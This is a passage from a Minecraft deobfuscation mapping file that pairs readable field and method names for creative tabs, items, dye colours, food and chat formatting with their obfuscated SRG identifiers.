net/minecraft/creativetab/CreativeTabs/tabRedstone net/minecraft/creativetab/CreativeTabs/field_78028_d +FD: net/minecraft/creativetab/CreativeTabs/tabTransport net/minecraft/creativetab/CreativeTabs/field_78029_e +FD: net/minecraft/creativetab/CreativeTabs/tabMisc net/minecraft/creativetab/CreativeTabs/field_78026_f +FD: net/minecraft/creativetab/CreativeTabs/tabAllSearch net/minecraft/creativetab/CreativeTabs/field_78027_g +FD: net/minecraft/creativetab/CreativeTabs/tabFood net/minecraft/creativetab/CreativeTabs/field_78039_h +FD: net/minecraft/creativetab/CreativeTabs/tabTools net/minecraft/creativetab/CreativeTabs/field_78040_i +FD: net/minecraft/creativetab/CreativeTabs/tabCombat net/minecraft/creativetab/CreativeTabs/field_78037_j +FD: net/minecraft/creativetab/CreativeTabs/tabBrewing net/minecraft/creativetab/CreativeTabs/field_78038_k +FD: net/minecraft/creativetab/CreativeTabs/tabMaterials net/minecraft/creativetab/CreativeTabs/field_78035_l +FD: net/minecraft/creativetab/CreativeTabs/tabInventory net/minecraft/creativetab/CreativeTabs/field_78036_m +FD: net/minecraft/creativetab/CreativeTabs/tabIndex net/minecraft/creativetab/CreativeTabs/field_78033_n +FD: net/minecraft/creativetab/CreativeTabs/tabLabel net/minecraft/creativetab/CreativeTabs/field_78034_o +FD: net/minecraft/creativetab/CreativeTabs/theTexture net/minecraft/creativetab/CreativeTabs/field_78043_p +FD: net/minecraft/creativetab/CreativeTabs/hasScrollbar net/minecraft/creativetab/CreativeTabs/field_78042_q +FD: net/minecraft/creativetab/CreativeTabs/drawTitle net/minecraft/creativetab/CreativeTabs/field_78041_r +FD: net/minecraft/creativetab/CreativeTabs/enchantmentTypes net/minecraft/creativetab/CreativeTabs/field_111230_s +FD: net/minecraft/creativetab/CreativeTabs/iconItemStack net/minecraft/creativetab/CreativeTabs/field_151245_t +FD: net/minecraft/item/ItemTool/efficiencyOnProperMaterial net/minecraft/item/ItemTool/field_77864_a +FD: net/minecraft/item/ItemTool/toolMaterial net/minecraft/item/ItemTool/field_77862_b +FD: net/minecraft/item/ItemTool/effectiveBlocks net/minecraft/item/ItemTool/field_150914_c +FD: net/minecraft/item/ItemTool/damageVsEntity net/minecraft/item/ItemTool/field_77865_bY +FD: net/minecraft/item/ItemDoor/block net/minecraft/item/ItemDoor/field_179236_a +FD: net/minecraft/item/EnumDyeColor/WHITE net/minecraft/item/EnumDyeColor/WHITE +FD: net/minecraft/item/EnumDyeColor/ORANGE net/minecraft/item/EnumDyeColor/ORANGE +FD: net/minecraft/item/EnumDyeColor/MAGENTA net/minecraft/item/EnumDyeColor/MAGENTA +FD: net/minecraft/item/EnumDyeColor/LIGHT_BLUE net/minecraft/item/EnumDyeColor/LIGHT_BLUE +FD: net/minecraft/item/EnumDyeColor/YELLOW net/minecraft/item/EnumDyeColor/YELLOW +FD: net/minecraft/item/EnumDyeColor/LIME net/minecraft/item/EnumDyeColor/LIME +FD: net/minecraft/item/EnumDyeColor/PINK net/minecraft/item/EnumDyeColor/PINK +FD: net/minecraft/item/EnumDyeColor/GRAY net/minecraft/item/EnumDyeColor/GRAY +FD: net/minecraft/item/EnumDyeColor/SILVER net/minecraft/item/EnumDyeColor/SILVER +FD: net/minecraft/item/EnumDyeColor/CYAN net/minecraft/item/EnumDyeColor/CYAN +FD: net/minecraft/item/EnumDyeColor/PURPLE net/minecraft/item/EnumDyeColor/PURPLE +FD: net/minecraft/item/EnumDyeColor/BLUE net/minecraft/item/EnumDyeColor/BLUE +FD: net/minecraft/item/EnumDyeColor/BROWN net/minecraft/item/EnumDyeColor/BROWN +FD: net/minecraft/item/EnumDyeColor/GREEN net/minecraft/item/EnumDyeColor/GREEN +FD: net/minecraft/item/EnumDyeColor/RED net/minecraft/item/EnumDyeColor/RED +FD: net/minecraft/item/EnumDyeColor/BLACK net/minecraft/item/EnumDyeColor/BLACK +FD: net/minecraft/item/EnumDyeColor/META_LOOKUP net/minecraft/item/EnumDyeColor/field_176790_q +FD: net/minecraft/item/EnumDyeColor/DYE_DMG_LOOKUP net/minecraft/item/EnumDyeColor/field_176789_r +FD: net/minecraft/item/EnumDyeColor/meta net/minecraft/item/EnumDyeColor/field_176788_s +FD: net/minecraft/item/EnumDyeColor/dyeDamage net/minecraft/item/EnumDyeColor/field_176787_t +FD: net/minecraft/item/EnumDyeColor/name net/minecraft/item/EnumDyeColor/field_176786_u +FD: net/minecraft/item/EnumDyeColor/unlocalizedName net/minecraft/item/EnumDyeColor/field_176785_v +FD: net/minecraft/item/EnumDyeColor/mapColor net/minecraft/item/EnumDyeColor/field_176784_w +FD: net/minecraft/item/EnumDyeColor/chatColor net/minecraft/item/EnumDyeColor/field_176793_x +FD: net/minecraft/item/EnumDyeColor/$VALUES net/minecraft/item/EnumDyeColor/$VALUES +FD: net/minecraft/item/ItemDye/dyeColors net/minecraft/item/ItemDye/field_150922_c +FD: net/minecraft/item/ItemFishFood$FishType/COD net/minecraft/item/ItemFishFood$FishType/COD +FD: net/minecraft/item/ItemFishFood$FishType/SALMON net/minecraft/item/ItemFishFood$FishType/SALMON +FD: net/minecraft/item/ItemFishFood$FishType/CLOWNFISH net/minecraft/item/ItemFishFood$FishType/CLOWNFISH +FD: net/minecraft/item/ItemFishFood$FishType/PUFFERFISH net/minecraft/item/ItemFishFood$FishType/PUFFERFISH +FD: net/minecraft/item/ItemFishFood$FishType/META_LOOKUP net/minecraft/item/ItemFishFood$FishType/field_150983_e +FD: net/minecraft/item/ItemFishFood$FishType/meta net/minecraft/item/ItemFishFood$FishType/field_150980_f +FD: net/minecraft/item/ItemFishFood$FishType/unlocalizedName net/minecraft/item/ItemFishFood$FishType/field_150981_g +FD: net/minecraft/item/ItemFishFood$FishType/uncookedHealAmount net/minecraft/item/ItemFishFood$FishType/field_150991_j +FD: net/minecraft/item/ItemFishFood$FishType/uncookedSaturationModifier net/minecraft/item/ItemFishFood$FishType/field_150992_k +FD: net/minecraft/item/ItemFishFood$FishType/cookedHealAmount net/minecraft/item/ItemFishFood$FishType/field_150989_l +FD: net/minecraft/item/ItemFishFood$FishType/cookedSaturationModifier net/minecraft/item/ItemFishFood$FishType/field_150990_m +FD: net/minecraft/item/ItemFishFood$FishType/cookable net/minecraft/item/ItemFishFood$FishType/field_150987_n +FD: net/minecraft/item/ItemFishFood$FishType/$VALUES net/minecraft/item/ItemFishFood$FishType/$VALUES +FD: net/minecraft/item/ItemFishFood/cooked net/minecraft/item/ItemFishFood/field_150907_b +FD: net/minecraft/item/ItemFood/itemUseDuration net/minecraft/item/ItemFood/field_77855_a +FD: net/minecraft/item/ItemFood/healAmount net/minecraft/item/ItemFood/field_77853_b +FD: net/minecraft/item/ItemFood/saturationModifier net/minecraft/item/ItemFood/field_77854_c +FD: net/minecraft/item/ItemFood/isWolfsFavoriteMeat net/minecraft/item/ItemFood/field_77856_bY +FD: net/minecraft/item/ItemFood/alwaysEdible net/minecraft/item/ItemFood/field_77852_bZ +FD: net/minecraft/item/ItemFood/potionId net/minecraft/item/ItemFood/field_77851_ca +FD: net/minecraft/item/ItemFood/potionDuration net/minecraft/item/ItemFood/field_77850_cb +FD: net/minecraft/item/ItemFood/potionAmplifier net/minecraft/item/ItemFood/field_77857_cc +FD: net/minecraft/item/ItemFood/potionEffectProbability net/minecraft/item/ItemFood/field_77858_cd +FD: net/minecraft/item/ItemHangingEntity/hangingEntityClass net/minecraft/item/ItemHangingEntity/field_82811_a +FD: net/minecraft/item/ItemHoe$1/field_179590_a net/minecraft/item/ItemHoe$1/field_179590_a +FD: net/minecraft/item/ItemHoe/theToolMaterial net/minecraft/item/ItemHoe/field_77843_a +FD: net/minecraft/item/Item$ToolMaterial/WOOD net/minecraft/item/Item$ToolMaterial/WOOD +FD: net/minecraft/item/Item$ToolMaterial/STONE net/minecraft/item/Item$ToolMaterial/STONE +FD: net/minecraft/item/Item$ToolMaterial/IRON net/minecraft/item/Item$ToolMaterial/IRON +FD: net/minecraft/item/Item$ToolMaterial/EMERALD net/minecraft/item/Item$ToolMaterial/EMERALD +FD: net/minecraft/item/Item$ToolMaterial/GOLD net/minecraft/item/Item$ToolMaterial/GOLD +FD: net/minecraft/item/Item$ToolMaterial/harvestLevel net/minecraft/item/Item$ToolMaterial/field_78001_f +FD: net/minecraft/item/Item$ToolMaterial/maxUses net/minecraft/item/Item$ToolMaterial/field_78002_g +FD: net/minecraft/item/Item$ToolMaterial/efficiencyOnProperMaterial net/minecraft/item/Item$ToolMaterial/field_78010_h +FD: net/minecraft/item/Item$ToolMaterial/damageVsEntity net/minecraft/item/Item$ToolMaterial/field_78011_i +FD: net/minecraft/item/Item$ToolMaterial/enchantability net/minecraft/item/Item$ToolMaterial/field_78008_j +FD: net/minecraft/item/Item$ToolMaterial/$VALUES net/minecraft/item/Item$ToolMaterial/$VALUES +FD: net/minecraft/item/Item/BLOCK_TO_ITEM net/minecraft/item/Item/field_179220_a +FD: net/minecraft/item/Item/tabToDisplayOn net/minecraft/item/Item/field_77701_a +FD: net/minecraft/item/Item/maxDamage net/minecraft/item/Item/field_77699_b +FD: net/minecraft/item/Item/containerItem net/minecraft/item/Item/field_77700_c +FD: net/minecraft/item/Item/itemRegistry net/minecraft/item/Item/field_150901_e +FD: net/minecraft/item/Item/itemModifierUUID net/minecraft/item/Item/field_111210_e +FD: net/minecraft/item/Item/itemRand net/minecraft/item/Item/field_77697_d +FD: net/minecraft/item/Item/maxStackSize net/minecraft/item/Item/field_77777_bU +FD: net/minecraft/item/Item/bFull3D net/minecraft/item/Item/field_77789_bW +FD: net/minecraft/item/Item/hasSubtypes net/minecraft/item/Item/field_77787_bX +FD: net/minecraft/item/Item/potionEffect net/minecraft/item/Item/field_77785_bY +FD: net/minecraft/item/Item/unlocalizedName net/minecraft/item/Item/field_77774_bZ +FD: net/minecraft/item/ItemStack/DECIMALFORMAT net/minecraft/item/ItemStack/field_111284_a +FD: net/minecraft/item/ItemStack/stackSize net/minecraft/item/ItemStack/field_77994_a +FD: net/minecraft/item/ItemStack/animationsToGo net/minecraft/item/ItemStack/field_77992_b +FD: net/minecraft/item/ItemStack/item net/minecraft/item/ItemStack/field_151002_e +FD: net/minecraft/item/ItemStack/stackTagCompound net/minecraft/item/ItemStack/field_77990_d +FD: net/minecraft/item/ItemStack/itemDamage net/minecraft/item/ItemStack/field_77991_e +FD: net/minecraft/item/ItemStack/itemFrame net/minecraft/item/ItemStack/field_82843_f +FD: net/minecraft/item/ItemStack/canDestroyCacheBlock net/minecraft/item/ItemStack/field_179552_h +FD: net/minecraft/item/ItemStack/canDestroyCacheResult net/minecraft/item/ItemStack/field_179553_i +FD: net/minecraft/item/ItemStack/canPlaceOnCacheBlock net/minecraft/item/ItemStack/field_179550_j +FD: net/minecraft/item/ItemStack/canPlaceOnCacheResult net/minecraft/item/ItemStack/field_179551_k +FD: net/minecraft/init/Items/mushroom_stew net/minecraft/init/Items/field_151009_A +FD: net/minecraft/init/Items/golden_sword net/minecraft/init/Items/field_151010_B +FD: net/minecraft/init/Items/golden_shovel net/minecraft/init/Items/field_151011_C +FD: net/minecraft/init/Items/golden_pickaxe net/minecraft/init/Items/field_151005_D +FD: net/minecraft/init/Items/golden_axe net/minecraft/init/Items/field_151006_E +FD: net/minecraft/init/Items/string net/minecraft/init/Items/field_151007_F +FD: net/minecraft/init/Items/feather net/minecraft/init/Items/field_151008_G +FD: net/minecraft/init/Items/gunpowder net/minecraft/init/Items/field_151016_H +FD: net/minecraft/init/Items/wooden_hoe net/minecraft/init/Items/field_151017_I +FD: net/minecraft/init/Items/stone_hoe net/minecraft/init/Items/field_151018_J +FD: net/minecraft/init/Items/iron_hoe net/minecraft/init/Items/field_151019_K +FD: net/minecraft/init/Items/diamond_hoe net/minecraft/init/Items/field_151012_L +FD: net/minecraft/init/Items/golden_hoe net/minecraft/init/Items/field_151013_M +FD: net/minecraft/init/Items/wheat_seeds net/minecraft/init/Items/field_151014_N +FD: net/minecraft/init/Items/wheat net/minecraft/init/Items/field_151015_O +FD: net/minecraft/init/Items/bread net/minecraft/init/Items/field_151025_P +FD: net/minecraft/init/Items/leather_helmet net/minecraft/init/Items/field_151024_Q +FD: net/minecraft/init/Items/leather_chestplate net/minecraft/init/Items/field_151027_R +FD: net/minecraft/init/Items/leather_leggings net/minecraft/init/Items/field_151026_S +FD: net/minecraft/init/Items/leather_boots net/minecraft/init/Items/field_151021_T +FD: net/minecraft/init/Items/chainmail_helmet net/minecraft/init/Items/field_151020_U +FD: net/minecraft/init/Items/chainmail_chestplate net/minecraft/init/Items/field_151023_V +FD: net/minecraft/init/Items/chainmail_leggings net/minecraft/init/Items/field_151022_W +FD: net/minecraft/init/Items/chainmail_boots net/minecraft/init/Items/field_151029_X +FD: net/minecraft/init/Items/iron_helmet net/minecraft/init/Items/field_151028_Y +FD: net/minecraft/init/Items/iron_chestplate net/minecraft/init/Items/field_151030_Z +FD: net/minecraft/init/Items/iron_shovel net/minecraft/init/Items/field_151037_a +FD: net/minecraft/init/Items/saddle net/minecraft/init/Items/field_151141_av +FD: net/minecraft/init/Items/iron_door net/minecraft/init/Items/field_151139_aw +FD: net/minecraft/init/Items/redstone net/minecraft/init/Items/field_151137_ax +FD: net/minecraft/init/Items/snowball net/minecraft/init/Items/field_151126_ay +FD: net/minecraft/init/Items/boat net/minecraft/init/Items/field_151124_az +FD: net/minecraft/init/Items/leather net/minecraft/init/Items/field_151116_aA +FD: net/minecraft/init/Items/milk_bucket net/minecraft/init/Items/field_151117_aB +FD: net/minecraft/init/Items/brick net/minecraft/init/Items/field_151118_aC +FD: net/minecraft/init/Items/clay_ball net/minecraft/init/Items/field_151119_aD +FD: net/minecraft/init/Items/reeds net/minecraft/init/Items/field_151120_aE +FD: net/minecraft/init/Items/paper net/minecraft/init/Items/field_151121_aF +FD: net/minecraft/init/Items/book net/minecraft/init/Items/field_151122_aG +FD: net/minecraft/init/Items/slime_ball net/minecraft/init/Items/field_151123_aH +FD: net/minecraft/init/Items/chest_minecart net/minecraft/init/Items/field_151108_aI +FD: net/minecraft/init/Items/furnace_minecart net/minecraft/init/Items/field_151109_aJ +FD: net/minecraft/init/Items/egg net/minecraft/init/Items/field_151110_aK +FD: net/minecraft/init/Items/compass net/minecraft/init/Items/field_151111_aL +FD: net/minecraft/init/Items/fishing_rod net/minecraft/init/Items/field_151112_aM +FD: net/minecraft/init/Items/clock net/minecraft/init/Items/field_151113_aN +FD: net/minecraft/init/Items/glowstone_dust net/minecraft/init/Items/field_151114_aO +FD: net/minecraft/init/Items/fish net/minecraft/init/Items/field_151115_aP +FD: net/minecraft/init/Items/cooked_fish net/minecraft/init/Items/field_179566_aV +FD: net/minecraft/init/Items/dye net/minecraft/init/Items/field_151100_aR +FD: net/minecraft/init/Items/bone net/minecraft/init/Items/field_151103_aS +FD: net/minecraft/init/Items/sugar net/minecraft/init/Items/field_151102_aT +FD: net/minecraft/init/Items/cake net/minecraft/init/Items/field_151105_aU +FD: net/minecraft/init/Items/iron_leggings net/minecraft/init/Items/field_151165_aa +FD: net/minecraft/init/Items/iron_boots net/minecraft/init/Items/field_151167_ab +FD: net/minecraft/init/Items/diamond_helmet net/minecraft/init/Items/field_151161_ac +FD: net/minecraft/init/Items/diamond_chestplate net/minecraft/init/Items/field_151163_ad +FD: net/minecraft/init/Items/diamond_leggings net/minecraft/init/Items/field_151173_ae +FD: net/minecraft/init/Items/diamond_boots net/minecraft/init/Items/field_151175_af +FD: net/minecraft/init/Items/golden_helmet net/minecraft/init/Items/field_151169_ag +FD: net/minecraft/init/Items/golden_chestplate net/minecraft/init/Items/field_151171_ah +FD: net/minecraft/init/Items/golden_leggings net/minecraft/init/Items/field_151149_ai +FD: net/minecraft/init/Items/golden_boots net/minecraft/init/Items/field_151151_aj +FD: net/minecraft/init/Items/flint net/minecraft/init/Items/field_151145_ak +FD: net/minecraft/init/Items/porkchop net/minecraft/init/Items/field_151147_al +FD: net/minecraft/init/Items/cooked_porkchop net/minecraft/init/Items/field_151157_am +FD: net/minecraft/init/Items/painting net/minecraft/init/Items/field_151159_an +FD: net/minecraft/init/Items/golden_apple net/minecraft/init/Items/field_151153_ao +FD: net/minecraft/init/Items/sign net/minecraft/init/Items/field_151155_ap +FD: net/minecraft/init/Items/oak_door net/minecraft/init/Items/field_179570_aq +FD: net/minecraft/init/Items/spruce_door net/minecraft/init/Items/field_179569_ar +FD: net/minecraft/init/Items/birch_door net/minecraft/init/Items/field_179568_as +FD: net/minecraft/init/Items/jungle_door net/minecraft/init/Items/field_179567_at +FD: net/minecraft/init/Items/acacia_door net/minecraft/init/Items/field_179572_au +FD: net/minecraft/init/Items/dark_oak_door net/minecraft/init/Items/field_179571_av +FD: net/minecraft/init/Items/bucket net/minecraft/init/Items/field_151133_ar +FD: net/minecraft/init/Items/water_bucket net/minecraft/init/Items/field_151131_as +FD: net/minecraft/init/Items/lava_bucket net/minecraft/init/Items/field_151129_at +FD: net/minecraft/init/Items/minecart net/minecraft/init/Items/field_151143_au +FD: net/minecraft/init/Items/iron_pickaxe net/minecraft/init/Items/field_151035_b +FD: net/minecraft/init/Items/glass_bottle net/minecraft/init/Items/field_151069_bo +FD: net/minecraft/init/Items/spider_eye net/minecraft/init/Items/field_151070_bp +FD: net/minecraft/init/Items/fermented_spider_eye net/minecraft/init/Items/field_151071_bq +FD: net/minecraft/init/Items/blaze_powder net/minecraft/init/Items/field_151065_br +FD: net/minecraft/init/Items/magma_cream net/minecraft/init/Items/field_151064_bs +FD: net/minecraft/init/Items/brewing_stand net/minecraft/init/Items/field_151067_bt +FD: net/minecraft/init/Items/cauldron net/minecraft/init/Items/field_151066_bu +FD: net/minecraft/init/Items/ender_eye net/minecraft/init/Items/field_151061_bv +FD: net/minecraft/init/Items/speckled_melon net/minecraft/init/Items/field_151060_bw +FD: net/minecraft/init/Items/spawn_egg net/minecraft/init/Items/field_151063_bx +FD: net/minecraft/init/Items/experience_bottle net/minecraft/init/Items/field_151062_by +FD: net/minecraft/init/Items/fire_charge net/minecraft/init/Items/field_151059_bz +FD: net/minecraft/init/Items/writable_book net/minecraft/init/Items/field_151099_bA +FD: net/minecraft/init/Items/written_book net/minecraft/init/Items/field_151164_bB +FD: net/minecraft/init/Items/emerald net/minecraft/init/Items/field_151166_bC +FD: net/minecraft/init/Items/item_frame net/minecraft/init/Items/field_151160_bD +FD: net/minecraft/init/Items/flower_pot net/minecraft/init/Items/field_151162_bE +FD: net/minecraft/init/Items/carrot net/minecraft/init/Items/field_151172_bF +FD: net/minecraft/init/Items/potato net/minecraft/init/Items/field_151174_bG +FD: net/minecraft/init/Items/baked_potato net/minecraft/init/Items/field_151168_bH +FD: net/minecraft/init/Items/poisonous_potato net/minecraft/init/Items/field_151170_bI +FD: net/minecraft/init/Items/map net/minecraft/init/Items/field_151148_bJ +FD: net/minecraft/init/Items/golden_carrot net/minecraft/init/Items/field_151150_bK +FD: net/minecraft/init/Items/skull net/minecraft/init/Items/field_151144_bL +FD: net/minecraft/init/Items/carrot_on_a_stick net/minecraft/init/Items/field_151146_bM +FD: net/minecraft/init/Items/nether_star net/minecraft/init/Items/field_151156_bN +FD: net/minecraft/init/Items/bed net/minecraft/init/Items/field_151104_aV +FD: net/minecraft/init/Items/repeater net/minecraft/init/Items/field_151107_aW +FD: net/minecraft/init/Items/cookie net/minecraft/init/Items/field_151106_aX +FD: net/minecraft/init/Items/filled_map net/minecraft/init/Items/field_151098_aY +FD: net/minecraft/init/Items/shears net/minecraft/init/Items/field_151097_aZ +FD: net/minecraft/init/Items/melon net/minecraft/init/Items/field_151127_ba +FD: net/minecraft/init/Items/pumpkin_seeds net/minecraft/init/Items/field_151080_bb +FD: net/minecraft/init/Items/melon_seeds net/minecraft/init/Items/field_151081_bc +FD: net/minecraft/init/Items/beef net/minecraft/init/Items/field_151082_bd +FD: net/minecraft/init/Items/cooked_beef net/minecraft/init/Items/field_151083_be +FD: net/minecraft/init/Items/chicken net/minecraft/init/Items/field_151076_bf +FD: net/minecraft/init/Items/cooked_chicken net/minecraft/init/Items/field_151077_bg +FD: net/minecraft/init/Items/mutton net/minecraft/init/Items/field_179561_bm +FD: net/minecraft/init/Items/cooked_mutton net/minecraft/init/Items/field_179557_bn +FD: net/minecraft/init/Items/rabbit net/minecraft/init/Items/field_179558_bo +FD: net/minecraft/init/Items/cooked_rabbit net/minecraft/init/Items/field_179559_bp +FD: net/minecraft/init/Items/rabbit_stew net/minecraft/init/Items/field_179560_bq +FD: net/minecraft/init/Items/rabbit_foot net/minecraft/init/Items/field_179556_br +FD: net/minecraft/init/Items/rabbit_hide net/minecraft/init/Items/field_179555_bs +FD: net/minecraft/init/Items/rotten_flesh net/minecraft/init/Items/field_151078_bh +FD: net/minecraft/init/Items/ender_pearl net/minecraft/init/Items/field_151079_bi +FD: net/minecraft/init/Items/blaze_rod net/minecraft/init/Items/field_151072_bj +FD: net/minecraft/init/Items/ghast_tear net/minecraft/init/Items/field_151073_bk +FD: net/minecraft/init/Items/gold_nugget net/minecraft/init/Items/field_151074_bl +FD: net/minecraft/init/Items/nether_wart net/minecraft/init/Items/field_151075_bm +FD: net/minecraft/init/Items/potionitem net/minecraft/init/Items/field_151068_bn +FD: net/minecraft/init/Items/iron_axe net/minecraft/init/Items/field_151036_c +FD: net/minecraft/init/Items/record_11 net/minecraft/init/Items/field_151086_cn +FD: net/minecraft/init/Items/record_wait net/minecraft/init/Items/field_151084_co +FD: net/minecraft/init/Items/prismarine_shard net/minecraft/init/Items/field_179562_cC +FD: net/minecraft/init/Items/prismarine_crystals net/minecraft/init/Items/field_179563_cD +FD: net/minecraft/init/Items/banner net/minecraft/init/Items/field_179564_cE +FD: net/minecraft/init/Items/pumpkin_pie net/minecraft/init/Items/field_151158_bO +FD: net/minecraft/init/Items/fireworks net/minecraft/init/Items/field_151152_bP +FD: net/minecraft/init/Items/firework_charge net/minecraft/init/Items/field_151154_bQ +FD: net/minecraft/init/Items/enchanted_book net/minecraft/init/Items/field_151134_bR +FD: net/minecraft/init/Items/comparator net/minecraft/init/Items/field_151132_bS +FD: net/minecraft/init/Items/netherbrick net/minecraft/init/Items/field_151130_bT +FD: net/minecraft/init/Items/quartz net/minecraft/init/Items/field_151128_bU +FD: net/minecraft/init/Items/tnt_minecart net/minecraft/init/Items/field_151142_bV +FD: net/minecraft/init/Items/hopper_minecart net/minecraft/init/Items/field_151140_bW +FD: net/minecraft/init/Items/armor_stand net/minecraft/init/Items/field_179565_cj +FD: net/minecraft/init/Items/iron_horse_armor net/minecraft/init/Items/field_151138_bX +FD: net/minecraft/init/Items/golden_horse_armor net/minecraft/init/Items/field_151136_bY +FD: net/minecraft/init/Items/diamond_horse_armor net/minecraft/init/Items/field_151125_bZ +FD: net/minecraft/init/Items/lead net/minecraft/init/Items/field_151058_ca +FD: net/minecraft/init/Items/name_tag net/minecraft/init/Items/field_151057_cb +FD: net/minecraft/init/Items/command_block_minecart net/minecraft/init/Items/field_151095_cc +FD: net/minecraft/init/Items/record_13 net/minecraft/init/Items/field_151096_cd +FD: net/minecraft/init/Items/record_cat net/minecraft/init/Items/field_151093_ce +FD: net/minecraft/init/Items/record_blocks net/minecraft/init/Items/field_151094_cf +FD: net/minecraft/init/Items/record_chirp net/minecraft/init/Items/field_151091_cg +FD: net/minecraft/init/Items/record_far net/minecraft/init/Items/field_151092_ch +FD: net/minecraft/init/Items/record_mall net/minecraft/init/Items/field_151089_ci +FD: net/minecraft/init/Items/record_mellohi net/minecraft/init/Items/field_151090_cj +FD: net/minecraft/init/Items/record_stal net/minecraft/init/Items/field_151087_ck +FD: net/minecraft/init/Items/record_strad net/minecraft/init/Items/field_151088_cl +FD: net/minecraft/init/Items/record_ward net/minecraft/init/Items/field_151085_cm +FD: net/minecraft/init/Items/flint_and_steel net/minecraft/init/Items/field_151033_d +FD: net/minecraft/init/Items/apple net/minecraft/init/Items/field_151034_e +FD: net/minecraft/init/Items/bow net/minecraft/init/Items/field_151031_f +FD: net/minecraft/init/Items/arrow net/minecraft/init/Items/field_151032_g +FD: net/minecraft/init/Items/coal net/minecraft/init/Items/field_151044_h +FD: net/minecraft/init/Items/diamond net/minecraft/init/Items/field_151045_i +FD: net/minecraft/init/Items/iron_ingot net/minecraft/init/Items/field_151042_j +FD: net/minecraft/init/Items/gold_ingot net/minecraft/init/Items/field_151043_k +FD: net/minecraft/init/Items/iron_sword net/minecraft/init/Items/field_151040_l +FD: net/minecraft/init/Items/wooden_sword net/minecraft/init/Items/field_151041_m +FD: net/minecraft/init/Items/wooden_shovel net/minecraft/init/Items/field_151038_n +FD: net/minecraft/init/Items/wooden_pickaxe net/minecraft/init/Items/field_151039_o +FD: net/minecraft/init/Items/wooden_axe net/minecraft/init/Items/field_151053_p +FD: net/minecraft/init/Items/stone_sword net/minecraft/init/Items/field_151052_q +FD: net/minecraft/init/Items/stone_shovel net/minecraft/init/Items/field_151051_r +FD: net/minecraft/init/Items/stone_pickaxe net/minecraft/init/Items/field_151050_s +FD: net/minecraft/init/Items/stone_axe net/minecraft/init/Items/field_151049_t +FD: net/minecraft/init/Items/diamond_sword net/minecraft/init/Items/field_151048_u +FD: net/minecraft/init/Items/diamond_shovel net/minecraft/init/Items/field_151047_v +FD: net/minecraft/init/Items/diamond_pickaxe net/minecraft/init/Items/field_151046_w +FD: net/minecraft/init/Items/diamond_axe net/minecraft/init/Items/field_151056_x +FD: net/minecraft/init/Items/stick net/minecraft/init/Items/field_151055_y +FD: net/minecraft/init/Items/bowl net/minecraft/init/Items/field_151054_z +MD: net/minecraft/util/EnumChatFormatting/func_175744_a (I)Lnet/minecraft/util/EnumChatFormatting; net/minecraft/util/EnumChatFormatting/func_175744_a (I)Lnet/minecraft/util/EnumChatFormatting; +MD: net/minecraft/util/EnumChatFormatting/getTextWithoutFormattingCodes (Ljava/lang/String;)Ljava/lang/String; net/minecraft/util/EnumChatFormatting/func_110646_a (Ljava/lang/String;)Ljava/lang/String; +MD: net/minecraft/util/EnumChatFormatting/getValidValues (ZZ)Ljava/util/Collection; net/minecraft/util/EnumChatFormatting/func_96296_a (ZZ)Ljava/util/Collection; +MD: net/minecraft/util/EnumChatFormatting/getColorIndex ()I net/minecraft/util/EnumChatFormatting/func_175746_b ()I +MD: net/minecraft/util/EnumChatFormatting/getValueByName (Ljava/lang/String;)Lnet/minecraft/util/EnumChatFormatting; net/minecraft/util/EnumChatFormatting/func_96300_b (Ljava/lang/String;)Lnet/minecraft/util/EnumChatFormatting; +MD: net/minecraft/util/EnumChatFormatting/isFancyStyling ()Z net/minecraft/util/EnumChatFormatting/func_96301_b ()Z +MD: net/minecraft/util/EnumChatFormatting/func_175745_c (Ljava/lang/String;)Ljava/lang/String; net/minecraft/util/EnumChatFormatting/func_175745_c (Ljava/lang/String;)Ljava/lang/String; +MD: net/minecraft/util/EnumChatFormatting/isColor ()Z net/minecraft/util/EnumChatFormatting/func_96302_c ()Z +MD: net/minecraft/util/EnumChatFormatting/getFriendlyName ()Ljava/lang/String; net/minecraft/util/EnumChatFormatting/func_96297_d ()Ljava/lang/String; +MD: net/minecraft/util/EnumChatFormatting/toString ()Ljava/lang/String; net/minecraft/util/EnumChatFormatting/toString ()Ljava/lang/String; +MD: net/minecraft/util/EnumChatFormatting/values ()[Lnet/minecraft/util/EnumChatFormatting; net/minecraft/util/EnumChatFormatting/values ()[Lnet/minecraft/util/EnumChatFormatting; +MD: net/minecraft/command/server/CommandEmote/getRequiredPermissionLevel ()I net/minecraft/command/server/CommandEmote/func_82362_a ()I +MD: net/minecraft/command/server/CommandEmote/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/server/CommandEmote/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/server/CommandEmote/addTabCompletionOptions (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/command/server/CommandEmote/func_180525_a (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/command/server/CommandEmote/getCommandName ()Ljava/lang/String; net/minecraft/command/server/CommandEmote/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/server/CommandEmote/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/server/CommandEmote/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/item/ItemLeaves/getMetadata (I)I net/minecraft/item/ItemLeaves/func_77647_b (I)I +MD: net/minecraft/item/ItemLeaves/getColorFromItemStack (Lnet/minecraft/item/ItemStack;I)I net/minecraft/item/ItemLeaves/func_82790_a (Lnet/minecraft/item/ItemStack;I)I +MD: net/minecraft/item/ItemLeaves/getUnlocalizedName (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; net/minecraft/item/ItemLeaves/func_77667_c (Lnet/minecraft/item/ItemStack;)Ljava/lang/String; +MD: net/minecraft/item/ItemMap/loadMapData (ILnet/minecraft/world/World;)Lnet/minecraft/world/storage/MapData; net/minecraft/item/ItemMap/func_150912_a (ILnet/minecraft/world/World;)Lnet/minecraft/world/storage/MapData; +MD: net/minecraft/item/ItemMap/updateMapData (Lnet/minecraft/world/World;Lnet/minecraft/entity/Entity;Lnet/minecraft/world/storage/MapData;)V net/minecraft/item/ItemMap/func_77872_a (Lnet/minecraft/world/World;Lnet/minecraft/entity/Entity;Lnet/minecraft/world/storage/MapData;)V +MD: net/minecraft/item/ItemMap/getMapData (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;)Lnet/minecraft/world/storage/MapData; 